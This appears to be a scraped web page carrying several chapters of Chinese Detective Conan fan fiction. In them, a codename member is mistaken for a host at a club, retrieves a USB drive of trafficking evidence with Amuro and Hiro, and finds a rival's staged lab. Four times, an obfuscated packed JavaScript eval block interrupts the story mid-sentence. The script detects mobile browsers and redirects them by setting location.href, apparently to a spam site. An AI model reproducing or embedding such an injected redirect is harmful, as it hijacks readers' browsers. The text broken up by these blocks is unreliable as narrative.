完全可以直接上场,今晚的头牌说不准就是他了。 ——简直完美。 ——简直完美。 两个人都这样满意地在心里点点头。 15. Kaito,他是谁? “朗姆已经跟我说过你们的来意了。” 灯光昏暗的包厢内,男人坐在单人沙发上,微微往椅背上一靠,从烟盒里抽出一根烟点燃。 “呼。”一口烟吐出,他拿起烟盒,伸手往旁边沙发上另外两人的方向递了递。 “感谢您的好意,”叫安室透的男人向他露出一个微笑,同样向他伸手,做出了一个回绝的手势,“不过我和绿川君接下来还有任务……” 男人于是悻悻地收回手中的烟盒。 “理解,理解。”他点点头,“你们也不容易啊。” “不过——” “我怎么记得朗姆跟我说,今天过来我这里拿情报的有三人?安室透、绿川光……还有一个应该是你们领头的,叫什么?山崎威士忌?” “没猜错的话应该是这几年才晋升上来的代号成员吧,”他又吐出一口烟,“抱歉我已经在龙樱会管理这家酒吧很多年了,除了定期帮组织传递保存一些比较重要的情报,组织的事我都没再多过问了。” 男人再次吸上一口烟。 “呼。你们在组织里的肯定能理解我这种做法的,毕竟我们这种没有代号的底层成员,一旦稳定下来了谁不想远离那个地方呢。哎……” 似乎是突然想起现在的场合不适合闲聊,他又深吸一口手上的烟,停住了话题。 “你们联系联系他?”他转头看向安室透,问道。 “既然你们都不抽烟,那要不在他赶到之前,让你们试试我们这里的调酒吧!” 说着,他完全不顾眼前两个人的反应,抬手按了按桌上的某个按钮。 过了几秒,门被有节奏地轻轻敲响,再接着一个身穿制服的男人走进来,对着他鞠了一躬。 “中村大人,”身穿制服的男人在他们面前站定,对着中村海斗露出一个笑容,“请问有什么可以帮到您的?” “我们店的招牌调酒,每种端上来两份——不,三份,”说到这里,中村海斗顿了顿,似乎是思考了两秒,又继续开口道,“让店里那几个头牌端上来,看着顺眼些——” “说到这个。”进来的制服男人眼神闪了闪,上前一步,附到中村海斗耳边耳语了几句,中村海斗的表情很快也跟着变化。 两分钟过去,那个制服男人转身走出了包厢,中村海斗也跟着转过脸来对着面前的二人解释。 “我们这儿的男公关,可都是万里挑一,都是经过刚刚那位渡边先生的严格挑选选出来的。我敢说全东京第二,就没有谁家敢说第一,每天都有数不清的女士向我们预约名额呢。” ……男公关? 降谷零和诸伏景光对视一眼,从对方眼中看出了几分无奈,双双端起桌上的杯子假装口渴喝起水来。 这种事情还是没必要体验了吧…… 两人正相互使着眼色,思考着怎么拒绝中村海斗的盛情邀请,少节外生枝,就听见门又被轻轻地敲响。 “看来人来得很快呢,渡边君刚刚告诉我今天店里来了个找他应聘的新男孩,刚跟着他到大厅去走了一圈,仅仅只是亮相,马上就有三名女士很大气地为他开了香槟塔,只不过还没来得及给他培训……我就让渡边君正好领他来让我看看了。” 中村海斗颇为期待地看向门口,降谷零又端起水杯喝了一口。 和刚刚一样,门规律地被轻轻敲响三声后,刚刚穿着制服的“渡边先生”先走了进来,身后跟着一个穿着女仆装的黑发少年。 少年跟着渡边的脚步站定,转过身来面无表情地面对着他们站好。 黑发黑眼……这张脸? ——千鸟奏?! ——山崎威士忌?! ——怎么来找人把自己找下海了?! 降谷零艰难地咽下嘴里的那口水,脸上还保持着淡定的神色,伸手拍了拍身边一直低着头看水杯的诸伏景光。 觉得这种场面可能会有些尴尬所以一直低着头的诸伏景光:? 他有些茫然地抬起头,看了一眼那个渡边先生领进来的少年。 …… 。?! 只是一眼,他就飞快地又低下头。 等等,等等。 他好像吸二手烟吸出幻觉了。 为什么他刚刚好像看见山崎威士忌穿着女仆装在当男公关。? - 说实话,千鸟奏一直不太明白这个“中村海斗”到底在干嘛。 自从他跟着桥本千春做完了这个有些奇怪但总体还算合适的“易容”以后,他就跟着她来了“中村海斗”这里。 这个中村海斗一直忙着夸赞他的易容。 他当然知道他的易容一定很完美,如果今晚有需要战斗的场面出现,所有人都会知道他现在的易容有多完美的。 不过现在他跟中村海斗还是有更重要的正事要做的。于是他打断这个中村海斗絮絮叨叨的话,第一时间就报上了自己的代号,山崎威士忌。 但这个中村海斗思考了两秒,突然摆出一副恍然大悟的样子,带着他去到了前厅。 他们在路过每一桌客人面前都莫名其妙地停下来了一会儿,一圈走完,中村海斗就笑容满面地告诉他,尽管只是把他带出去亮相,就算是山崎威士忌香槟塔,也有客人抢着给他开了一座又一座。 ? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950145|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香槟塔是什么。 千鸟奏是真的很疑惑。 【检测到宿主可能需要,这是为您搜索到的答案】 “001,刚刚有零个人向你提问了。” 【……香槟塔是一种用高脚香槟杯(通常为笛形杯或郁金香杯)层层堆叠成塔状的装饰性摆设,常用于婚礼、庆典、晚宴等隆重场合,作为倒香槟的视觉焦点……】 好吧。 无视千鸟奏的吐槽,脑海里的电子音依旧义无反顾地继续响起。 难道因为发现自己的功能对宿主完全没用所以转而致力于成为最有用的搜索引擎吗? 千鸟奏一边默默吐槽着坚持朗诵搜索词条的001,一边又莫名其妙地跟着中村海斗站在了某个包厢门前。 中村海斗转头对他比了个莫名其妙的手势。 千鸟奏推测可能是让他呆着原地不要走动的意思吧。接着那个中村海斗又自己转身进了面前包厢的门。 没过一会儿,他又出来说现在可以领着他走进去了。 终于可以拿资料了吗? 千鸟奏一边想着一边跟着中村海斗在几张沙发前站定。 好暗的包厢。 没人想要开灯吗?还是说这种昏暗的场面比较适合这种绝密情报的交易? 千鸟奏眯了眯眼。 欸?这不是透君吗? 欸欸?旁边这个,不是绿川君吗? 难道朗姆把这件接头的任务也告诉他们两个了? 那他今晚特意含糊其辞地把他们两个糊弄过去再自己偷偷出门的行动岂不是白费力气?! 这样想着,千鸟奏决定直接对着眼前的安室透和绿川光发起提问。 “透君,绿川君,你们怎么也在这里?你们也是来找中村海斗的吗?” “啪嗒。” 很轻的一声物品掉落的声音。 听起来像是烟头掉到地毯上。 千鸟奏跟着声音的方向看去,看见一个坐在单人沙发上的陌生中年(?)男人一下子从沙发上坐直,看着他,脸上露出一副不可置信的表情。 果然有烟头掉在地毯上。千鸟奏飞快地扫了一眼地上的烟头。 然后他转过头看向已经默默退到自己身后的“中村海斗”,继续问道。 “Kaito,他是谁?” 错觉吗? 为什么感觉“中村海斗”的脸上也出现了震惊的神色? 地毯上的烟头不用捡一下吗?会不会把地毯烧坏啊。 千鸟奏疑惑地歪了歪头。 ——为什么总觉得大家的反应都这么奇怪? 16. 未命名文件 “所以……” 告别了要回自己安全屋的绿川光,走在前面的千鸟奏突然停下脚步,回头对着跟在他身后的安室透晃了晃手里的u盘。 “透君,你开车来了吗?” ——三十分钟前 “实在是非常抱歉,他们的确只知道我姓中村……” 另一位不该出现在这里的“Kaito”先生第一时间就被慌乱的中村海斗请了出去。 慌慌张张拼凑出这个惊天乌龙来龙去脉的中村海斗一边疯狂对已经坐下开始悠闲地吃着果盘的千鸟奏鞠着躬,一边这样说着。 其实千鸟奏尝试过阻止中村海斗对着他疯狂鞠躬的。 不管是对他不停说没关系没关系也好,还是走上前试图打断他鞠躬的动作把他扶起来也好,中村海斗鞠躬的动作都显得格外坚定。 ——也许他这样鞠躬能让自己心里好受一点?那应该过会儿自己就停了吧…… 实在无力阻止中村海斗决心的千鸟奏干脆走到沙发前,提起裙摆往沙发上一坐,用叉子戳起摆在他们面前的果盘。 看上去已经彻底疯狂了的中村海斗果然过了几分钟自己冷静了下来,交出了那份朗姆让他们今晚亲自来取的资料。 “这可是我在龙樱会近八年的心血。” 中村海斗当时是这样说的。 八年。 一个微妙的时间。 千鸟奏眯起眼睛想了想,最终还是点点头,沉默地接过了中村海斗递出的那枚u盘。 再然后就是中村海斗带着“略显招摇”的三人从会所的后门离开,最“招摇”的千鸟奏走在最前面,身后跟着抱着千鸟奏原来的衣物的安室透,最后是一直沉默着的绿川光。 - “说真的,透君,你的后备箱其实是哆啦a梦的口袋吧。”整个人已经抱着笔记本电脑窝在马自达副驾驶上的千鸟奏一边敲着键盘一边这样对着驾驶位上的人这样说。 “我想不出来还有谁会在后备箱放一台备用的电脑……还有上次,透君完全像变魔法一样从后备箱拿出了茶叶呢,甚至还有一个烧水壶……” 他絮絮叨叨地不停说着,完全不管车内的另外一人有没有出声附和他,一边手上动作不停,手指飞速敲击着键盘。 “代号……身份ID……密钥……” “好了!验证成功!” 最后一下回车键被少年敲得响亮,接着车里终于安静下来,只剩偶尔的一两声键盘敲击声。 降谷零忍不住从内后视镜里瞟了两眼专注看资料的少年。 尽管当时中村海斗第一时间就紧张兮兮地提出要带他回去换回原来的一身衣服,少年还是很快无所谓地摆摆手拒绝了。说是衣服设计得不错,很适合藏他的各式武器,穿着也还挺舒服。本就有些紧张的中村海斗听到这话冷汗“刷”地一下就下来了,生怕他是故意在跟他说反话,连带着坐在一旁的降谷零和诸伏景光也有些紧张起来。 不过三人紧张地等待了好几分钟,少年始终没有要发作的迹象,反而在沙发上坐下,戳起眼前的果盘来,三人提起来的心才跟着放下。 降谷零从后视镜镜片里看着低头认真翻阅着资料的少年,电脑屏幕照得他黑色的眼眸亮闪闪的。 降谷零收回视线,转而认真地盯着前方。 ……奇怪的乌龙,顺从的配合,山崎威士忌,千鸟奏,你在想什么呢? - 回到家时,千鸟奏一个健步上前,赶着去换下衣服洗漱,顺手就把还插着u盘的电脑塞进了还跟在身后的安室透手里。 “u盘是加密过的,要用我的权限才能打开,刚刚我已经在车上大致看过一遍了,第一个文档还有点用,第二个文档嘛……好像都是这些年龙崎丈一郎那个家伙的犯罪证据?看着整理了很多的样子,我翻了两页就没继续看下去了,反正那些资料对我没什么用。” 他一边卸下身上没有派上用场的武器,一边扬起声音对着外面的安室透说着。 “透君你是情报组的人吧,”说到这里,千鸟奏特意往外又退了几步,转过头看了捧着电脑还站在原地的安室透一眼,“那资料对我没用,说不定你会需要?” “情报组的事我也不是很懂啦,你先看看那个,有用的话你直接拷走就是了。” “我猜后面那份资料不是朗姆要的资料,他大概也不知道中村海斗背地里还收集了这个吧。”他语气顿了顿。 “虽然不知道他给我这份资料的用意……不过你的确可以查查这个中村海斗。” 说完这句他刚好走到浴室门口,“啪嗒”一声关上了浴室的门。 再过两分钟,淅淅沥沥的水声从浴室里传来。 降谷零抱着电脑在沙发上坐下。 【权限验证成功,是否读取文件内容】 千鸟奏特意重新为他打开的文件还留在读取界面,一行醒目的文字还占在屏幕中间。 一个代号成员的信任? 这样听起来似乎有些荒唐了。 一个似乎独立于组织规则之外的代号成员的信任? 这几天的接触下来,他几乎可以确定这个叫千鸟奏的少年从一开始就没有对他设下过什么防备——除了在一些细枝末节的小事上偶尔显得有些隐瞒。 一开始领着他进组织的实验室,邀请他住进安全屋,再到现在把要用他的权限才能打开的资料随手丢给他。 如果这份“真诚”是假装的话,那这个山崎威士忌的城府应该是极深的。 如果是真心如此信任…… 降谷零回想着朗姆几次给他的邮件。 【……山崎威士忌接下来的一切由你接手】 【代号考核成功后,我会把他交给你……】 【不要让他自己行动。】 对他没有防备,却和后来加入的hiro保持着距离。 他那天看过琴酒和朗姆对hiro的说辞。 大致意思是通过他们的代号考验后,就让他到山崎威士忌手底下当行动成员。 降谷零敲下确认键,电脑屏幕上的数据滚动起来。 如果……这份“信任”是朗姆的默许呢? 如果这份信任是山崎威士忌对身边一直存在着的,某个身份特殊的人的习惯呢? 他会是他们选中的,山崎威士忌身边“值得信任”的下一个人吗? 电脑屏幕上数据滚动了片刻,千鸟奏口中的两个文件夹很快呈现在他的眼前,前一个文件夹标着“实验室”的文件名,后一个文件夹则是一个占用内存很大的未命名文件夹。降谷零收起杂乱的思绪,点开了千鸟奏特意提起的第二份文件。 【首都地区近十五年人口失踪悬案】 几个大字震得降谷零瞳孔都缩了缩,他滑动鼠标一路向下…… ·1977年10月13日银座六名孩童失踪案 ·1977年11月24日浅草五名高中生失踪案 ·1977年12月30日新宿…… ·1978年1月8日米花町…… 鼠标一直滑动到最底部,除了十年前有一整年的空白,每一桩每一件都和公安记录在案的警视厅这些年出于各种内外意外没能破案的失踪案记录完全吻合。其中甚至有一半是警视厅未曾接到过报案,也未曾知晓过的案件,案件总数远超官方的统计。 文件的末尾是另一个未命名文件夹,点开以后弹出的是另一份一一对应的交易记录。 其中有半数是记录空缺,还有十几条看起来是未整理完的交易记录。 虽然还不完整,但这份文件是调查的什么仍然一目了然。 龙崎丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950146|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一郎,龙樱会……被公安怀疑了这么多年,这么多案件,果然都和他们有关。 他闭了闭眼,默默拷下这份资料。 既然千鸟奏这样说了,那么“安室透”自然会收下这份资料。 中村海斗。 他交出u盘递给千鸟奏时对他说过这是他在龙樱会八年的心血,当时千鸟奏的表情很快变了一瞬,再加上千鸟奏刚刚跟他说可以查查这个中村海斗…… 八年。 朗姆提过龙樱会和组织有秘密交易长达五年,虽然他没有告诉他们秘密交易的具体内容,现在看来应该跟这个人口交易有关。 但千鸟奏提起他看过这份资料,收集这个并不是朗姆的意思。 组织根本不关心龙樱会私底下的其他人口交易? 可是这个组织派过去卧底的中村海斗为什么会私下调查这个,又为什么收集了资料后交给组织派来的山崎威士忌? 八年前组织就开始接触龙樱会了吗?组织的内斗?龙樱会的党争?还是谁和龙樱会、和龙崎丈一郎有旧仇? 中村海斗绝对值得他稍后私下调查一番。 无论如何,这份资料对公安来说珍贵无比。 降谷零盘算着,这份资料不能现在通过他流传到公安手里,但是或许可以由组织的情报组流往地下,再由地下的秘密公安出手,只要通知他们提前准备好跟他演戏配合…… 浴室里哗啦啦的水声渐渐小了下去,降谷零退出这份文件,转而点开了前一份命名为“实验室”的文件。 这才是他们今晚去龙樱会和中村海斗接头的目的。 一个地址,一份详细的平面图,看上去是一个配有实验室的小型制药工厂的平面图,还有一份值班排表。 还有一份冗长的实验记录,时间最早可以追溯到四年前。 实验室? 浴室的水声彻底消失,降谷零继续滑动着鼠标。 朗姆给他和hiro的资料显然是抹去了关键部分的,当时他们只当是涉及到组织几个隐秘的木仓械工厂或者是秘密据点之类的,现在看来,组织和龙樱会的交易还涉及龙崎丈一郎私下秘密进行的人口交易。 恐怕不止。 他想起组织那个装修成医院掩人耳目的地下实验室。 药物交易? 如果是单纯的药物交易,朗姆提到龙樱会要求终止合作被组织拒绝,并于最近两个月向他提出了威胁。 那么龙樱会在私底下研究组织的药物,并且尝试自己生产? ——不对,中村海斗提及过他每隔一段时间会向朗姆传回组织需要的情报,这次让他们自己来取,是提前了他下次传情报回去的时间。 也就是说组织知道龙樱会一直在私下研究他们交易的药物,如果单凭这一点,龙崎丈一郎无论如何都无法在最近的两个月突然威胁到朗姆。 他点开那份按日期备份的实验记录。 1992年9月…… 差不多两个月前,就是这里! 原本几乎没有进展的研究记录在这个时间后突然有了一段新的变化,虽然很快又陷入了一连串循环,但变化一定是出现在了这里。 这就是让朗姆感觉到威胁的关键。 降谷零眼神一暗。 组织真正的实验数据在这时泄露了一部分,流入了龙崎丈一郎手里。 龙崎丈一郎半年前开始频繁和组织发生摩擦,这份资料却在两、三个月前恰好流入他手中。 看来这份流到龙崎丈一郎手里的资料的确是组织的机密。 尽管根据他们的研究进程来看,泄露出去的应该只是很小的一部分数据,对组织的研究造成不了什么威胁。 但是这份数据只要泄露出去就是在打朗姆的脸。 朗姆被龙崎丈一郎的威胁惹怒了。 17. 就算是路边的小狗 可是为什么?龙崎丈一郎为什么半年前开始频繁与组织发生摩擦,又为什么在这个敏感的关键点上得到了这份“疑似组织泄露”的实验资料? 降谷零一边思考着,手下的动作仍旧没停下过。 一定还缺少一点什么情报,龙崎丈一郎没有在近半年里如此频繁地跟组织发生摩擦甚至提出解约的理由,更别提威胁朗姆。 降谷零皱了皱眉。 - 千鸟奏顶着一头被他胡乱“擦干”了几下的头发坐到安室透身边时,u盘里的资料已经整整齐齐地被重新整理过一遍,他自然地凑上前,接过鼠标翻看着整理后的资料。 透君这是什么工作速度?! 居然只是他洗了个澡的时间就完成了这些——所有的工作吗?! 天呐,不愧是靠谱的下属! 千鸟奏往屏幕前又凑了凑,仔细地看着安室透标注过每一趟巡逻的值班人员行动时间和行动路线的平面图。 “啊啦,透君,”像是突然想起来什么,他抬起头往安室透的方向看去,“朗姆那个家伙遮遮掩掩的,是不是没有给你们看过完整的情报?” 降谷零想起朗姆那份断断续续显然是被码去了关键信息的“情报”,还有留下来的那句要他们去协助山崎威士忌接头取资料的吩咐。 虽然他刚刚看过新的资料,大致推测出了龙崎丈一郎用了什么威胁朗姆…… “朗姆没告诉你的部分都在这里。” 没等他开口,千鸟奏拿过他的电脑又是一阵操作,登录上山崎威士忌的加密邮箱,把朗姆传来的那一堆乱七八糟的资料全部拷进了安室透的电脑。 降谷零接过电脑,点开来自朗姆的文件。 。。。 说真的。 今晚刚看到朗姆丢给他的那一团删删减减过后乱成一团的资料时,降谷零不是没考虑过朗姆是不是在刻意刁难他和hiro。 现在看来他的确不是故意刁难…… 因为点开千鸟奏拷来的那份未删减过的资料的一瞬间,他只觉得有一万个乱七八糟的文件如同雪崩一样争先恐后地向他涌了过来。 这样看来,这种情况下朗姆还愿意删掉夹在里面涉及实验室的部分,那很敬业了。 “我怀疑朗姆每个季度收上来中村海斗交过去的情报后就随手往这里面一丢,里面的内容看都懒得看了。”千鸟奏一边吐槽着,一边把脸凑到了安室透旁边。 “朗姆应该有很久没管过龙樱会相关的事了。这些情报的查重率也实在很高——尤其是那个实验室的部分。” “不过问题就在这里,”千鸟奏还有些湿润的发尾轻轻蹭过身旁人的脸颊,“看这里。” 他从顺序混乱的文件里选出其中一个点开。 降谷零跟着定眼看去,组织实验室近九个月和龙崎丈一郎的交易记录…… 是零? 也就是说,近半年以来,龙崎丈一郎频繁和组织发生摩擦之前,组织实验室和他的交易已经停止了三个月。 “我大概猜到龙崎丈一郎在跟组织的哪个实验室合作了。”千鸟奏划动鼠标的动作依旧没停。“定期的人口交易,长期的药物供给……” “听起来像是上次你送我去过的那个实验室干的活哦,透君。” “不过根据我知道的情况,他们的研究已经起码三年没有丝毫进展了,手下又一直没有合适的研发人选,为了等实验室未来的研究员成长起来,他们两年前就中止了实验。” “现在看来,他们手上的最后一批测试药物应该直到九个月前才彻底耗尽。” “难怪急吼吼地把我叫回去抽血,原来是手上的药用完了……” 说到这里,千鸟奏微微抬起头坐直了一点身子,湿漉漉的发尾于是又蹭过降谷零的脸颊。 “龙崎丈一郎反常行动的原因看来就在这里。” “他害怕组织在中止这个秘密交易的同时中断对他的药物供给——当然组织也的确是这样做的,他才这样频繁地作出跟组织产生摩擦的行为,但是这份泄露的资料……我猜要靠我们明天潜入他的这个实验室才能一探究竟了。” 千鸟奏这番话说完,身边一直沉默着的降谷零终于动了动。 也许是两个人凑在一个电脑屏幕前显得空间有些拥挤了,也有可能是因为安全屋的这张沙发本就不大,此时千鸟奏已经快整个人贴在安室透身上,本就没有吹干的发尾在他半边脸和脖子上蹭出一连串的水痕来。 降谷零还是沉默着,站起身走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950147|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌旁,拿起千鸟奏胡乱擦过几下头发就丢在一旁几乎还是干燥的毛巾,又沉默地走进浴室,拿出抽屉里崭新的吹风机,沉默地给吹风机插上电,站回了千鸟奏身旁。 “……?透君?”千鸟奏有些疑惑地看着他一连串的动作。 接着一双手伸出来,把他的脑袋摆正了回去,他的视线也跟着从安室透面无表情的脸上移回电脑屏幕前。 接着毛巾被扔到了他的头顶,千鸟奏感觉到那双手用那块毛巾擦起他先前没擦干的头发来。 “呜呜呜”接着是吹风机开始工作的声音。 欸?是因为我把水蹭到透君身上了吗?T^T “就算是路边的小狗,也知道不能把身上的水蹭到路过的人身上哦。” 安室透这样说着。 千鸟奏莫名觉得他给他吹头发的手法很熟悉。 有点像贝尔摩德每次摸他头发的手法? 透君,真是,靠谱的下属。? 这是下属靠谱的表现吗? 千鸟奏暗暗地思索着。 果然之前一直不说话是因为被他蹭了一身水恼火了吧?! “透君——对不起嘛。”千鸟奏微微低下头,拉长了声音对着身后的人这样说着。 先发制人,他暗自对自己点点头,不管透君到底为什么不说话,只要他滑跪得够快—— “下次记得吹干。” 吹风机运行的噪音随着这句话一起暂停,安室透伸出一只手拍了拍已经吹干了的发顶。 ——摸起来也像小狗。 然后拿着吹风机和毛巾转身走向浴室。 “今晚我会把明天去实验室的行动计划赶出来,不过看起来明天要早点开始行动,那张巡逻的排表里只有上午是最好潜入的。” “所以早点睡吧。” 等等等等、是不是有哪里不对? 好像我才是上司吧透君?! 这么靠谱又帅气的话是不是应该交给我讲才对!喂!! 千鸟奏看着安室透靠(帅)谱(气)的背影在心里怒吼。 是不是抢我的台词了透君?! 差评差评差评! ——诶诶诶不对不对! 什么叫就算是路边的小狗?! 18. 轩尼诗 安室透拟定好的行动计划当天晚上就发到了山崎威士忌的邮箱。 千鸟奏趴在门边一直听着客厅里细细簌簌的动静小下去,直到门外的动静跟着一声轻轻的关门声一起消失,他才站起来走回自己的桌前,打开电脑查看自己的邮箱。 最新的一条消息正是安室透刚刚发来的行动计划,他先点开粗略扫了一眼,又拉动鼠标继续往下划。 【From:朗姆 置办新的安全屋的事你自己看着办,除了安室透和绿川光,琴酒那边还有一个新人在考核,新人考核通过的话可能也会交到你手里。】 :D 等的就是朗姆这个邮件。 敲诈朗姆,计划通。 现在这个安全屋还是之前他刚从实验室搬出来时住的,为了方便组织往他这里派人朗姆挑的,够住两个人。不过后来他基本都跟琴酒一起出任务,就干脆搬去了琴酒那里。 从他搬回来到现在也没有多久,他本来以为只有安室透将要长期跟他一起行动,没想到boss这次是执意要在他这里重建威士忌组——那就不得不重新物色一个适合他们三、四人暂居和开会的新安全屋了。 那马上就能把绿川光也接过来了 哼哼哼哼,朗姆。 刷爆你的卡。 千鸟奏眯了眯眼。 然后他才心满意足地重新点开了安室透刚刚传来的行动计划。 啊对了,记得也要传给绿川光一份。 绿川·先后接到两份一模一样的行动计划·半夜被山崎威士忌的邮件通知震醒·急急忙忙点开发现跟zero一个小时前给传的资料是同一份·其实一个小时前刚被降谷零的信息震醒过一次·真的好困·光:…… 这两个人就不能商量好了直接派一个人发给他吗? - 不对不对不对。 不对劲。 十分有十二分的不对劲。 这一路是不是实在有些太顺利了。 三人沉默地站在龙崎丈一郎的“秘密实验室”里,相互对视了几眼,然后三道目光一起落在了桌上摆着的那份实验数据上。 今天这一路走过来,资料上标记出来监控严密的地方监控摄像头个个坏的坏,残的残就算了。某些地方的摄像头显然是被提前破坏过——好吧,完全就是全部被提前破坏过了,甚至只留下一个监控摄像头存在过留下来的大坑。 一开始他们还小心翼翼地检查着沿路的监控,后来直接看都懒得再看一眼了。 为了验证这里已经有人提前来过,千鸟奏不顾安室透和绿川光的劝说,直接大摇大摆地走到了“巡逻路线”上。 还是特意挑的巡逻时间内。 果然完全、一个人都没有。 当时他甚至想在这里高歌一曲——说是再测试一下是不是真的没人。 ——其实主要是因为这个大大的工厂看起来混响很好的样子。 好吧,可惜安室透和绿川光一直在旁边拦着他T^T 但是就算是这样,就算监控已经全坏了、巡逻队已经不见了、龙崎丈一郎费尽心血做的安保系统也全线瘫痪了。 就算是这样! 就算是这样也不能这么明目张胆,这么猖狂地直接把他们要找的资料就这样放在桌上吧! 停停停! 他大显身手的潜入环节呢?他紧张刺激的搜证环节呢?他心潮澎湃的揭秘环节呢?! 千鸟奏简直要气笑了,伸手就去拿桌上的那份资料。 “等等,会不会有陷——” 千鸟奏捏起资料的一角向刚刚出声的安室透全方位展示了一圈,以示这份资料的安全性,然后转过身,咬牙切齿地对着房间的某个角落怒喊了一声: “轩、尼、诗!” 实验室的红点瞬间亮起一片,其中位于实验室正中最大的那个摄像头配合地闪了闪红光。 【不听话还没用的家伙交给你处置了。】 【你想要的东西我可是给你了哦,算不算帮了你大忙呢。】 【至于走投无路的家伙会不会反咬一口,拼个鱼死网破,那可就跟我没关了。】 【——山崎威士忌。】 实验室的大屏上,一行行文字连着弹出来。 “你最好把自己藏好了,让我一辈子找不出来你是谁。”千鸟奏冷着声音回了他一句。 像是在回应他的话,表达自己会奉陪到底,主摄像头的红光又闪了闪。 紧接着整个房间的红光也跟着闪了闪,一盏连着一盏,一片连着一片尽数熄灭了。 千鸟奏重新拿起手边的那份资料,随意地翻了翻,然后直接丢进了安室透的手里。 “说起来,透君,我记得你对组织的实验室很有兴趣吧,”他摆了摆手,“这份资料送你了。” “这资料确实没什么大用,我直接告诉朗姆我烧了就行。” “这数据我都能背下来了,一样的实验数据朗姆那里多得垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950148|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圾箱都装不下,难怪会流出来这个。” “不过虽然话是这样说,不用来做实验的话,这份资料还是能帮你了解组织的实验室——以及他们的实验项目的。” 他边这样说着边走在最前面,身后跟着翻资料的安室透和绿川光。 朗姆的邮件提醒很适时地响起,千鸟奏打开手机。 【From:朗姆 龙崎丈一郎提出要跟组织“再谈一谈”,声称他知道一个组织的秘密。 无论这件事的真假,一而再再而三地挑衅,没有必要再留他了。 组织最不缺的就是合作对象。 这件事全权交给你们三个处理了。】 千鸟奏想了想,还是把资料的事大致回给了朗姆 ——不过瞒下了轩尼诗的部分。 直觉告诉他这份资料应该是轩尼诗给龙崎丈一郎的。 大概是为了达成他们的什么合作吧,不过实验室的事轩尼诗一向没有什么权限过问,再加上这资料也就看上去有用——这是千鸟奏凭一己之力把组织实验室拖入研究死循环的实验报告。 就算是以组织的能力,现在都还没能从那串实验死循环里走出来,只能暂停项目。别说龙崎丈一郎的散装实验室,更是不可能研究出什么成果。 龙崎丈一郎大概是被轩尼诗骗了。 他可能以为自己跟轩尼诗合作就能得到朗姆的把柄,通过威胁朗姆就能达成和组织的长期合作,自己再暗地里研究组织的药物。 不过实际上轩尼诗只是想利用他,随手丢了些没什么大用的情报给他,哄骗他给自己当刀使,真有什么事发生了轩尼诗跑得比谁都快——比如现在。 现在轩尼诗这样大张旗鼓地把泄露出来的资料给他,无非也就是两个意思,第一是为了撇清他和龙崎丈一郎威胁朗姆这件事的关系,第二是卖给千鸟奏一个人情,应该就是想让千鸟奏对朗姆瞒下他跟这件事的关系。 虽然千鸟奏真的很想吐槽轩尼诗这个强买强卖的人情,不过轩尼诗是个小肚鸡肠的家伙。 千鸟奏还是想等到什么时候把轩尼诗的皮下开出来,让他能线下真人快打轩尼诗本人了再去招惹他:-D。 千鸟奏停住脚步,转身打开这个邮件的界面向身后两人的眼前晃了晃。 “鸿门宴啊……”绿川光从那堆实验资料里抬头,拖着声音意味深长地回了一句。 至于是谁的鸿门宴。 有人搬起石头砸自己的脚。 19. 不可能的可能 次日晚上九点。 龙崎丈一郎约定好会谈的地点就在上次那家unhomeBar会所的楼上。 晚上九点的歌舞伎町早已亮起灯光,这次千鸟奏跟着龙崎丈一郎派出来迎接他的部下一路畅通地进了会所的大门。 走过会所门口时他们还是碰到了前两天轮岗的两个热心的保安大哥,千鸟奏还探出头热情地对他们两个点点头。 只是不知道他们这次又在心里脑补了什么,两个人看起来好像都是一副大受震撼的表情。 到底为什么总是脑洞这么大?! T-T 电梯一路上升,停在了顶楼。 随着电梯门打开,千鸟奏抬头往外看了一眼。 整个顶楼只有两条走廊,走廊的一头各连着一个看上去房间大小一致的会议室。两条走廊在电梯门前交汇,形成一个交点。 也就是说,整个顶楼呈现一个“V”字形。 而电梯就位于这个“V”的顶点,站在电梯门前刚好能看清整个楼层的情况,两边的会议室都开着灯,大门敞开着,透过会议室里往内倾斜的落地单面玻璃,还能看见左边会议室楼外灯光眩目的街道。 